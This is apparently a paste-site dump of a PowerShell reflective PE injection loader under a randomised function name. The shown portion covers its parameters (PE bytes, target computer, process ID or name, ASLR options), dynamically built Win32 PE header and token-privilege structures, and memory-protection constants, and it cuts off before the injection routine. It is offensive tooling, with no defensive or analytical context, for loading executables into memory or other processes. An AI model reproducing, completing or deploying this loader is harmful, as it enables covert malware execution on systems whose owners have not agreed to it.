Untitled
raw download clone
TEXT
views 16
,
size 277602 b
function Invoke-DUDPZPHLTDLDARV
{

[CmdletBinding()]
Param(
    [Parameter(Position = 0, Mandatory = $true)]
    [ValidateNotNullOrEmpty()]
    [Byte[]]
    $PEBytes,

	[Parameter(Position = 1)]
	[String[]]
	$ComputerName,

	[Parameter(Position = 2)]
    [ValidateSet( 'WString', 'String', 'Void' )]
	[String]
	$FuncReturnType = 'Void',

	[Parameter(Position = 3)]
	[String]
	$ExeArgs,

	[Parameter(Position = 4)]
	[Int32]
	$ProcId,

	[Parameter(Position = 5)]
	[String]
	$ProcName,

    [Switch]
    $ForceASLR,

	[Switch]
	$DoNotZeroMZ
)

Set-StrictMode -Version 2


$RemoteScriptBlock = {
	[CmdletBinding()]
	Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $true)]
		[String]
		$FuncReturnType,

		[Parameter(Position = 2, Mandatory = $true)]
		[Int32]
		$ProcId,

		[Parameter(Position = 3, Mandatory = $true)]
		[String]
		$ProcName,

        [Parameter(Position = 4, Mandatory = $true)]
        [Bool]
        $ForceASLR
	)

	Function Get-Win32Types
	{
		$Win32Types = New-Object System.Object

		$Domain = [AppDomain]::CurrentDomain
		$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
		$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
		$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
		$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]

		$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null
		$TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null
		$MachineType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType


		$TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null
		$MagicType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType


		$TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null
		$SubSystemType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType


		$TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16])
		$TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null
		$TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null
		$TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null
		$TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null
		$TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null
		$TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null
		$DllCharacteristicsType = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType



		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8)
		($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null
		$IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null
		$IMAGE_FILE_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null
		$IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224)
		($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null
		($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null
		($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null
		($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null
		($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null
		($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null
		($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null
		($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null
		($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null
		($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null
		($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null
		($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null
		($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null
		($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null
		($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null
		($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null
		($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null
		($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null
		($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null
		($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null
		($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null
		($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null
		($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null
		($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null
		($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null
		($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null
		($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null
		($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null
		($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null
		($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null
		($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null
		($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null
		($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null
		($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null
		($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null
		($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null
		($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null
		($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null
		($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null
		($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null
		($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null
		($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null
		($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null
		$IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
		$IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
		$TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null
		$TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null
		$IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64)
		$TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null

		$e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4))
		$e_resField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null

		$e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10))
		$e_res2Field.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
		$IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40)

		$nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal')
		$ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray
		$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8))
		$nameField.SetCustomAttribute($AttribBuilder)

		$TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$IMAGE_SECTION_HEADER = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null
		$IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null
		$IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40)
		$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null
		$TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
		$IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
		$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
		$LUID = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
		$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
		$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
		$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES


		$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
		$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
		$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
		$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
		$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
		$Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES

		return $Win32Types
	}

	Function Get-Win32Constants
	{
		$Win32Constants = New-Object System.Object

		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80
		$Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0
		$Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3
